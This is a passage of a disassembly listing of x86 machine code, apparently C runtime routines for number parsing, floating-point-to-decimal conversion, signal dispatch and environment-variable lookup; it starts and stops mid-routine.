loc_421750:				; CODE XREF: sub_4214D8+271j
		cmp	bl, 31h
		jl	loc_42184B
		cmp	bl, 39h
		jg	loc_42184B
		jmp	short loc_42176E
; ---------------------------------------------------------------------------


loc_421764:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 7
		jl	short loc_421777
		cmp	bl, 39h
		jg	short loc_421777


loc_42176E:				; CODE XREF: sub_4214D8+250j
					; sub_4214D8+28Aj
		push	9


loc_421770:				; CODE XREF: sub_4214D8+76j
		pop	eax


loc_421771:				; CODE XREF: sub_4214D8+240j
		dec	edi
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_421777:				; CODE XREF: sub_4214D8+28Fj
					; sub_4214D8+294j
		cmp	bl, 30h
		jnz	short loc_4217C0
		jmp	short loc_42173F
; ---------------------------------------------------------------------------


loc_42177E:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	[ebp+arg_18], 0	; jumptable 0042153B case 11
		jz	short loc_4217AE
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4217A6
		dec	eax
		dec	eax
		jnz	loc_42184E


loc_42179A:				; CODE XREF: sub_4214D8+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_4217A6:				; CODE XREF: sub_4214D8+258j
					; sub_4214D8+2B8j
		push	7


loc_4217A8:				; CODE XREF: sub_4214D8+85j
					; sub_4214D8+103j ...
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_4217AE:				; CODE XREF: sub_4214D8+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4217B2:				; CODE XREF: sub_4214D8+5Dj
					; sub_4214D8+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0042153B case 10
		jz	loc_421850
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_4217C0:				; CODE XREF: sub_4214D8+12Dj
					; sub_4214D8+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_421850
; ---------------------------------------------------------------------------


loc_4217C8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_20], 1	; jumptable 0042153B case 9
		xor	esi, esi


loc_4217D1:				; CODE XREF: sub_4214D8+339j
		cmp	dword_4397AC, 1
		jle	short loc_4217E9
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4217F8
; ---------------------------------------------------------------------------


loc_4217E9:				; CODE XREF: sub_4214D8+300j
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4217F8:				; CODE XREF: sub_4214D8+30Fj
		test	eax, eax
		jz	short loc_421818
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_421813
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4217D1
; ---------------------------------------------------------------------------


loc_421813:				; CODE XREF: sub_4214D8+334j
		mov	esi, 1451h


loc_421818:				; CODE XREF: sub_4214D8+322j
		mov	[ebp+var_1C], esi


loc_42181B:				; CODE XREF: sub_4214D8+371j
		cmp	dword_4397AC, 1
		jle	short loc_421833
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_421842
; ---------------------------------------------------------------------------


loc_421833:				; CODE XREF: sub_4214D8+34Aj
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421842:				; CODE XREF: sub_4214D8+359j
		test	eax, eax
		jz	short loc_42184B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42181B
; ---------------------------------------------------------------------------


loc_42184B:				; CODE XREF: sub_4214D8+99j
					; sub_4214D8+E4j ...
		dec	edi
		jmp	short loc_421850
; ---------------------------------------------------------------------------


loc_42184E:				; CODE XREF: sub_4214D8+261j
					; sub_4214D8+2BCj
		mov	edi, ecx


loc_421850:				; CODE XREF: sub_4214D8+2DDj
					; sub_4214D8+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_421938
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_42187C
		cmp	[ebp+var_45], 5
		jl	short loc_421870
		inc	[ebp+var_45]


loc_421870:				; CODE XREF: sub_4214D8+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_42187F
; ---------------------------------------------------------------------------


loc_42187C:				; CODE XREF: sub_4214D8+38Dj
		mov	eax, [ebp+var_C]


loc_42187F:				; CODE XREF: sub_4214D8+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_42192E


loc_421889:				; CODE XREF: sub_4214D8+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_421897
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_421889
; ---------------------------------------------------------------------------


loc_421897:				; CODE XREF: sub_4214D8+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_421411
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4218B6
		neg	eax


loc_4218B6:				; CODE XREF: sub_4214D8+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4218C1
		add	eax, [ebp+arg_10]


loc_4218C1:				; CODE XREF: sub_4214D8+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4218C9
		sub	eax, [ebp+arg_14]


loc_4218C9:				; CODE XREF: sub_4214D8+3ECj
		cmp	eax, 1450h
		jle	short loc_421900
		mov	[ebp+var_2C], 1


loc_4218D7:				; CODE XREF: sub_4214D8+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4218E3:				; CODE XREF: sub_4214D8+454j
					; sub_4214D8+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_421949
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_42195E
; ---------------------------------------------------------------------------


loc_421900:				; CODE XREF: sub_4214D8+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_421910
		mov	[ebp+var_30], 1
		jmp	short loc_4218D7
; ---------------------------------------------------------------------------


loc_421910:				; CODE XREF: sub_4214D8+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4220C1
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------


loc_42192E:				; CODE XREF: sub_4214D8+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------


loc_421938:				; CODE XREF: sub_4214D8+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_42195E
; ---------------------------------------------------------------------------


loc_421949:				; CODE XREF: sub_4214D8+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_42195E
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_42195E:				; CODE XREF: sub_4214D8+426j
					; sub_4214D8+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4214D8	endp

; ---------------------------------------------------------------------------
off_421979	dd offset loc_421542	; DATA XREF: sub_4214D8+63r
		dd offset loc_421591	; jump table for switch	statement
		dd offset loc_4215E8
		dd offset loc_421612
		dd offset loc_42166D
		dd offset loc_4216E4
		dd offset loc_42171A
		dd offset loc_421764
		dd offset loc_421743
		dd offset loc_4217C8
		dd offset loc_4217B2
		dd offset loc_42177E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219A9	proc near		; CODE XREF: sub_42074B+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_421A0B
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_421A0F
; ---------------------------------------------------------------------------


loc_421A0B:				; CODE XREF: sub_4219A9+5Aj
		mov	byte ptr [ebx+2], 20h


loc_421A0F:				; CODE XREF: sub_4219A9+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_421A35
		test	edi, edi
		jnz	short loc_421A35
		cmp	[ebp+arg_0], edi
		jnz	short loc_421A35


loc_421A20:				; CODE XREF: sub_4219A9+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_421C33
; ---------------------------------------------------------------------------


loc_421A35:				; CODE XREF: sub_4219A9+6Cj
					; sub_4219A9+70j ...
		cmp	dx, si
		jnz	short loc_421AB4
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_421A4E
		cmp	[ebp+arg_0], 0
		jz	short loc_421A5D


loc_421A4E:				; CODE XREF: sub_4219A9+9Dj
		test	edi, 40000000h
		jnz	short loc_421A5D
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_421AA3
; ---------------------------------------------------------------------------


loc_421A5D:				; CODE XREF: sub_4219A9+A3j
					; sub_4219A9+ABj
		test	cx, cx
		jz	short loc_421A77
		cmp	edi, 0C0000000h
		jnz	short loc_421A77
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Ind	; "1#IND"
		jmp	short loc_421A86
; ---------------------------------------------------------------------------


loc_421A77:				; CODE XREF: sub_4219A9+B7j
					; sub_4219A9+BFj
		cmp	edi, eax
		jnz	short loc_421A9E
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Inf	; "1#INF"


loc_421A86:				; CODE XREF: sub_4219A9+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_421A95:				; CODE XREF: sub_4219A9+109j
		and	[ebp+var_4], 0
		jmp	loc_421C0C
; ---------------------------------------------------------------------------


loc_421A9E:				; CODE XREF: sub_4219A9+C5j
					; sub_4219A9+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_421AA3:				; CODE XREF: sub_4219A9+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_421A95
; ---------------------------------------------------------------------------


loc_421AB4:				; CODE XREF: sub_4219A9+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4220C1
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_421B15
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421EA1
		pop	ecx
		pop	ecx


loc_421B15:				; CODE XREF: sub_4219A9+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_421B2F
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_421B32
		jmp	loc_421A20
; ---------------------------------------------------------------------------


loc_421B2F:				; CODE XREF: sub_4219A9+173j
		mov	edi, [ebp+arg_C]


loc_421B32:				; CODE XREF: sub_4219A9+17Fj
		cmp	edi, 15h
		jle	short loc_421B3A
		push	15h
		pop	edi


loc_421B3A:				; CODE XREF: sub_4219A9+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_421B50:				; CODE XREF: sub_4219A9+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_421B50
		test	esi, esi
		jge	short loc_421B7A
		neg	esi
		and	esi, 0FFh
		jle	short loc_421B7A


loc_421B6D:				; CODE XREF: sub_4219A9+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213E4
		dec	esi
		pop	ecx
		jnz	short loc_421B6D


loc_421B7A:				; CODE XREF: sub_4219A9+1B8j
					; sub_4219A9+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_421BD7
		mov	[ebp+arg_C], ecx


loc_421B8A:				; CODE XREF: sub_4219A9+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421358
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_421B8A
		mov	eax, [ebp+arg_14]


loc_421BD7:				; CODE XREF: sub_4219A9+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_421C14


loc_421BE4:				; CODE XREF: sub_4219A9+248j
		cmp	eax, ecx
		jb	short loc_421BF7
		cmp	byte ptr [eax],	39h
		jnz	short loc_421BF3
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_421BE4
; ---------------------------------------------------------------------------


loc_421BF3:				; CODE XREF: sub_4219A9+242j
		cmp	eax, ecx
		jnb	short loc_421BFB


loc_421BF7:				; CODE XREF: sub_4219A9+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_421BFB:				; CODE XREF: sub_4219A9+24Cj
		inc	byte ptr [eax]


loc_421BFD:				; CODE XREF: sub_4219A9+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_421C0C:				; CODE XREF: sub_4219A9+F0j
		mov	eax, [ebp+var_4]


loc_421C0F:				; CODE XREF: sub_4219A9+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421C14:				; CODE XREF: sub_4219A9+239j
					; sub_4219A9+275j
		cmp	eax, ecx
		jb	short loc_421C24
		cmp	byte ptr [eax],	30h
		jnz	short loc_421C20
		dec	eax
		jmp	short loc_421C14
; ---------------------------------------------------------------------------


loc_421C20:				; CODE XREF: sub_4219A9+272j
		cmp	eax, ecx
		jnb	short loc_421BFD


loc_421C24:				; CODE XREF: sub_4219A9+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_421C33:				; CODE XREF: sub_4219A9+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_421C0F
sub_4219A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C3C	proc near		; CODE XREF: sub_41D4FC+342Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_421CA3
		dec	eax
		dec	eax
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C94
		sub	eax, 3
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C87
		sub	eax, 6
		jz	short loc_421C7A
		dec	eax
		jz	short loc_421C6D
		or	eax, 0FFFFFFFFh
		jmp	loc_421D65
; ---------------------------------------------------------------------------


loc_421C6D:				; CODE XREF: sub_421C3C+27j
		mov	esi, dword_48A2F4
		mov	eax, offset dword_48A2F4
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421C7A:				; CODE XREF: sub_421C3C+24j
		mov	esi, dword_48A2F0
		mov	eax, offset dword_48A2F0
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421C87:				; CODE XREF: sub_421C3C+1Fj
		mov	esi, dword_48A2F8
		mov	eax, offset dword_48A2F8
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421C94:				; CODE XREF: sub_421C3C+10j
					; sub_421C3C+15j ...
		push	edi
		call	sub_421D69
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421CA3:				; CODE XREF: sub_421C3C+Cj
		mov	esi, dword_48A2EC
		mov	eax, offset dword_48A2EC


loc_421CAE:				; CODE XREF: sub_421C3C+3Cj
					; sub_421C3C+49j ...
		cmp	esi, 1
		jnz	short loc_421CBA
		xor	eax, eax
		jmp	loc_421D65
; ---------------------------------------------------------------------------


loc_421CBA:				; CODE XREF: sub_421C3C+75j
		test	esi, esi
		jnz	short loc_421CC5
		push	3
		call	sub_419AF6


loc_421CC5:				; CODE XREF: sub_421C3C+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_421CD7
		cmp	edi, 0Bh
		jz	short loc_421CD7
		cmp	edi, 4
		jnz	short loc_421CFD


loc_421CD7:				; CODE XREF: sub_421C3C+8Fj
					; sub_421C3C+94j
		mov	ebx, dword_48A0C8
		and	dword_48A0C8, 0
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	edx, dword_43BC1C
		mov	dword_43BC1C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_421D00
; ---------------------------------------------------------------------------


loc_421CFD:				; CODE XREF: sub_421C3C+99j
		mov	ebx, [ebp+arg_0]


loc_421D00:				; CODE XREF: sub_421C3C+BFj
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	eax, dword_43BC10
		mov	ecx, dword_43BC14
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_421D33
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43BBA0h[edx*4]


loc_421D21:				; CODE XREF: sub_421C3C+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_421D21
		jmp	short loc_421D33
; ---------------------------------------------------------------------------


loc_421D2C:				; CODE XREF: sub_421C3C+AAj
					; sub_421C3C+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_421D41


loc_421D33:				; CODE XREF: sub_421C3C+D7j
					; sub_421C3C+EEj
		push	dword_43BC1C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_421D4F
; ---------------------------------------------------------------------------


loc_421D41:				; CODE XREF: sub_421C3C+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_421D4F
		cmp	edi, 4
		jnz	short loc_421D62


loc_421D4F:				; CODE XREF: sub_421C3C+103j
					; sub_421C3C+10Cj
		cmp	edi, 8
		mov	dword_48A0C8, ebx
		jnz	short loc_421D62
		mov	eax, [ebp+arg_0]
		mov	dword_43BC1C, eax


loc_421D62:				; CODE XREF: sub_421C3C+111j
					; sub_421C3C+11Cj
		xor	eax, eax
		pop	ebx


loc_421D65:				; CODE XREF: sub_421C3C+2Cj
					; sub_421C3C+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421C3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421D69	proc near		; CODE XREF: sub_421C3C+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43BC18
		cmp	dword_43BB9C, edx
		push	esi
		mov	eax, offset dword_43BB98
		jz	short loc_421D97
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43BB98h[esi*4]


loc_421D8B:				; CODE XREF: sub_421D69+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_421D97
		cmp	[eax+4], edx
		jnz	short loc_421D8B


loc_421D97:				; CODE XREF: sub_421D69+16j
					; sub_421D69+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43BB98h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_421DAB
		cmp	[eax+4], edx
		jz	short locret_421DAD


loc_421DAB:				; CODE XREF: sub_421D69+3Bj
		xor	eax, eax

locret_421DAD:				; CODE XREF: sub_421D69+40j
		retn
sub_421D69	endp


; =============== S U B	R O U T	I N E =======================================



sub_421DAE	proc near		; CODE XREF: sub_42094E+23p

arg_0		= dword	ptr  4

		cmp	dword_48B690, 0
		push	ebx
		push	esi
		mov	esi, dword_48A03C
		push	edi
		jz	short loc_421E25
		test	esi, esi
		jnz	short loc_421DDF
		cmp	dword_48A044, esi
		jz	short loc_421E25
		call	sub_42217C
		test	eax, eax
		jnz	short loc_421E25
		mov	esi, dword_48A03C
		test	esi, esi
		jz	short loc_421E25


loc_421DDF:				; CODE XREF: sub_421DAE+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_421E25
		push	ebx
		call	sub_417AB0
		pop	ecx
		mov	edi, eax


loc_421DF0:				; CODE XREF: sub_421DAE+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_421E25
		push	eax
		call	sub_417AB0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_421E18
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_421E18
		push	edi
		push	ebx
		push	eax
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421E1D


loc_421E18:				; CODE XREF: sub_421DAE+51j
					; sub_421DAE+59j
		add	esi, 4
		jmp	short loc_421DF0
; ---------------------------------------------------------------------------


loc_421E1D:				; CODE XREF: sub_421DAE+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_421E27
; ---------------------------------------------------------------------------


loc_421E25:				; CODE XREF: sub_421DAE+10j
					; sub_421DAE+1Cj ...
		xor	eax, eax


loc_421E27:				; CODE XREF: sub_421DAE+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_421DAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E2B	proc near		; CODE XREF: sub_4211F1+8Bp
					; sub_4211F1+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_48B440
		jnb	short loc_421E92
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48B340[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_421E92
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_421E6B
		and	cl, 7Fh
		jmp	short loc_421E78
; ---------------------------------------------------------------------------


loc_421E6B:				; CODE XREF: sub_421E2B+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_421E86
		or	cl, 80h


loc_421E78:				; CODE XREF: sub_421E2B+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_421E86:				; CODE XREF: sub_421E2B+48j
		mov	dword_48A014, 16h
		jmp	short loc_421E9C
; ---------------------------------------------------------------------------


loc_421E92:				; CODE XREF: sub_421E2B+Bj
					; sub_421E2B+27j
		mov	dword_48A014, 9


loc_421E9C:				; CODE XREF: sub_421E2B+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_421E2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421EA1	proc near		; CODE XREF: sub_4219A9+165p
					; sub_4220C1+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_4220A1
		cmp	cx, 7FFFh
		jnb	loc_4220A1
		cmp	dx, 0BFFDh
		ja	loc_4220A1
		cmp	dx, 3FBFh
		ja	short loc_421F0A
		xor	eax, eax
		jmp	short loc_421F44
; ---------------------------------------------------------------------------


loc_421F0A:				; CODE XREF: sub_421EA1+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_421F2C
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_421F2C
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_421F2E
		cmp	[esi], eax
		jnz	short loc_421F2E
		jmp	loc_42209B
; ---------------------------------------------------------------------------


loc_421F2C:				; CODE XREF: sub_421EA1+71j
					; sub_421EA1+79j
		xor	eax, eax


loc_421F2E:				; CODE XREF: sub_421EA1+80j
					; sub_421EA1+84j
		cmp	cx, ax
		jnz	short loc_421F51
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_421F51
		cmp	[ebx+4], eax
		jnz	short loc_421F51
		cmp	[ebx], eax
		jnz	short loc_421F51


loc_421F44:				; CODE XREF: sub_421EA1+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_4220BC
; ---------------------------------------------------------------------------


loc_421F51:				; CODE XREF: sub_421EA1+90j
					; sub_421EA1+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_421F61:				; CODE XREF: sub_421EA1+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_421FB5
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_421F7D:				; CODE XREF: sub_421EA1+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421FA8
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_421FA8:				; CODE XREF: sub_421EA1+FFj
